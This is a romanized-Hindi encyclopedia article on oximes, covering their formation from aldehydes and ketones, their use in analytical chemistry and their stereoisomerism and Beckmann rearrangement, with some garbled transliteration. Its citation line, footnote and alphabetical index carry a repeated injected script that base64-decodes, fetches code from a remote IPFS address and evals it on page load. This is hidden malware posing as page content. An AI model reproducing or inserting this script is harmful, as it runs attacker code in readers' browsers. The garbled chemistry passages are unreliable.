आक्सिम

aksim ailadihaidoan tatha kitonoan par haidr aauksil-aimin ki pratikriya see yaugik prapt hote haian unhean aksim kahate haian. ailadiha doan se bane yaugikoan ailad aauksim tatha kitonoan se bane yaugik kit aauksim kahalate haian. inake sootr nimnalikhti haian:chitr:Aksim.gif

sabase pahala aksim viktar meyar ne sanh‌ 1878 ee. mean banaya tha. isake bad ailadihaid tatha kitonoan ke shuddhikaran tatha unaki pahachan mean aksimoan ke mahatv ke karan tatha in yaugikoan ki vinyas-samavayavata ke karan, rasayanajnoan ne inake adhyayan mean vishesh ruchi dikhalaee, jisake phalasvaroop inase sanbaddh inek mahatvapoorn anusandhan hue.

ailadihaidoan tatha kitonoan ke shuddhikaran tatha pahachan mean inake upayog ka vishesh karan yah hai ki aksim thos avastha mean manibhiy tatha jal mean aviley hote haian; at: inako shuddh avastha mean prapt kiya ja sakata hai. haidroklorik ya gandhakaml ke vilayan ke sath garam karane se aksimoan ka jalavishleshan ho jata hai. isake phalasvaroop ailadihaid ya kiton svatantr avastha mean pun: prapt ho jate haian.

aksimoan ke apachayan se prathamik aimin prapt hate haian at:>ka>auko>ka-naha mean parivartit karane mean inaka prayog hota hai. ailadaksim aisid kloraid dvara nirjalit kie ja sakate haian jisasechitr:Aksim-2.gif

yaugik moo-kaºna mean parivartit ho jate haian.

kuchh aksim, dhatviy tatvoan ke sath sanyukt hokar, sthayi savarg (koaauradinet) yaugik banate haian. lagabhag ek saman gunavale aur sanbandhati vividh tatvoan se is prakar bananevale yaugikoan ki vileyata ek doosare se bhinn hoti hai. is karan, vaishleshik rasayan mean, in aksimoan ka b da mahatv hai. sailisil ailadaksim anek dhatuoan se is prakar ke yaugik banata hai, parantu taanbe ke sath bane yaugik ko chho dakar any dhatuoan se bane sabhi yaugik tanu (dailyoot) aisitik aml mean vile haian. taanbe ke sath bana yaugik haritabhapit rang ka ek choorn sa hota hai aur ise110° sean. par sukhakar sthayi rakha ja sakata hai. at: iphhऱem ne is aksim ka any tatvoan se taanbe ke prithakkaran tatha usake parimapan ke lie upayog karana achchha batalaya hai. isi prakar daeemethil glaiksim, jo daikiton-daee-aisitil ka dai-aksim hai, anek dhatuoan ke sath sankirn yaugik banata hai, jinamean se keval nikal tatha palediyam se bane yaugik tanu amloan tatha tanu kshar vilayanoan mean aviley hote haian. at: nikal tatha palediyam ke parimapan tatha nikal ko kobalt se poornat: prithakh‌ karane mean is aksim ka bahut upayog hota hai. bita naipthokvinon ka ek aksim kobalt ke sath isi prakar ka aviley yaugik banata hai, jisase kobalt ke parimapan mean isaka upayog hota hai.

aksimoan ki vinyas-samavayavata-vinyas rasayan ke vikas mean aksimoan ka mahatv kuchh kam nahian he. sanh‌ 1883 ee. mean hans goldasmit ne jnat kiya ki beanjil ka dvi-aksim do roopoan mean paya jata hai, phir sanh‌ 1889 ee. mean viktar meyar ne ek tisara roop bhi jnat kiya. usi varsh bekamain ne bataya ki beanjailadihaid ka bhi do roopoan mean paya jata hai. vaant haph ne>ka = ka'>vale yaugikoan ki jyamitiy samavayavata poorn roop se siddh kar di thi; at: arthar haans tatha ailphr de varnar ne in siddhaantoan ko>ka = na-vale yaugikoan mean lagakar yah dikhalaya ki aksimoan ke samavayav jyamitiy samavayav haian. unake anusar aildihaidoan tatha asamamitiy kitonoan ke aksim do roopoan mean pae jaeange jinhean is prakar likh sakate haian:chitr:Aksim-3.gif

yah samavayavata thik usi prakar ki hai jaisi mailik tatha phyoomerik aml ki>ka = ka<par. kitonoan mean yah keval asamamitiy kotonoan mean sanbhav hai, kyoanki moo tatha moo' ke ek ho jane se phir in do roopoan mean koee aantar nahian rah jata. isake adhar par beanjil dvi--aksim ke roop bhi likhe ja sakate haian.chitr:Aksim-4.gif

kitonoan ke aksimoan ki phasaphoras peantaksaid ke sath eethar mean pratikriya karane se jo padarth milata hai usapar jal ki pratikriya se pratisthapit aisid--aimaid prapt hote haian. is kriya ko bekamain ka roopaantaran kahate haian. is kriya mean moolakoan ka parivartan hota hai. jo moolak pahale karban ke sath sanyukt tha, ab vah naitrojan ke sath sanyukt moolak se sthanaantaran kar leta hai.

yah spasht hai ki do samavayavi aksimoan mean se tochitr:Aksim-5.gif

moo' kaaunahamoo milega, parantuchitr:Aksim-6.gif

se mookaaunahamoo' milega. in padarthoan ka is prakar bekamain roopaantaran ke phalasvaroop banana is bat ki pushti karata hai ki samavayavi aksimoan ki rachana to ek si hai, parantu usaki samavayavata moolakoan ke tal mean vibhinn prakar se sthit hone ke karan hoti hai.^[1]

isake bad in batoan ki pushti karane ke lie haans, barner, dablyoo.ech. mils, maisenahaimar, ti.dablyoo.je. telar tatha el.eph. satan adi rasayanajnoan ne anek prayogoan ke adhar par samay-samay par apane vichar prakat kie haian, kiantu aksimoan ke sanbandh mean abhi tak bahut si batean nahian nishchit ho paee haian.^[2]

tippani: au = aksijan, ka = karban , na = naitrojan, ha = haidrojan, m = moolak (raidikal), moo' = any moolak.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 345-546 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ san.gran.-sidavik: kemistri aauv naitrojan kanpauands; je.si. th aaurp: dikshanari aauv aiplaed kemistri.

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 345-546 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] san.gran.-sidavik: kemistri aauv naitrojan kanpauands; je.si. th aaurp: dikshanari aauv aiplaed kemistri.

[1]

[2]

आक्सिम

tika tippani aur sandarbh

sanbandhit lekh

varnamala kramanusar lekh khoj

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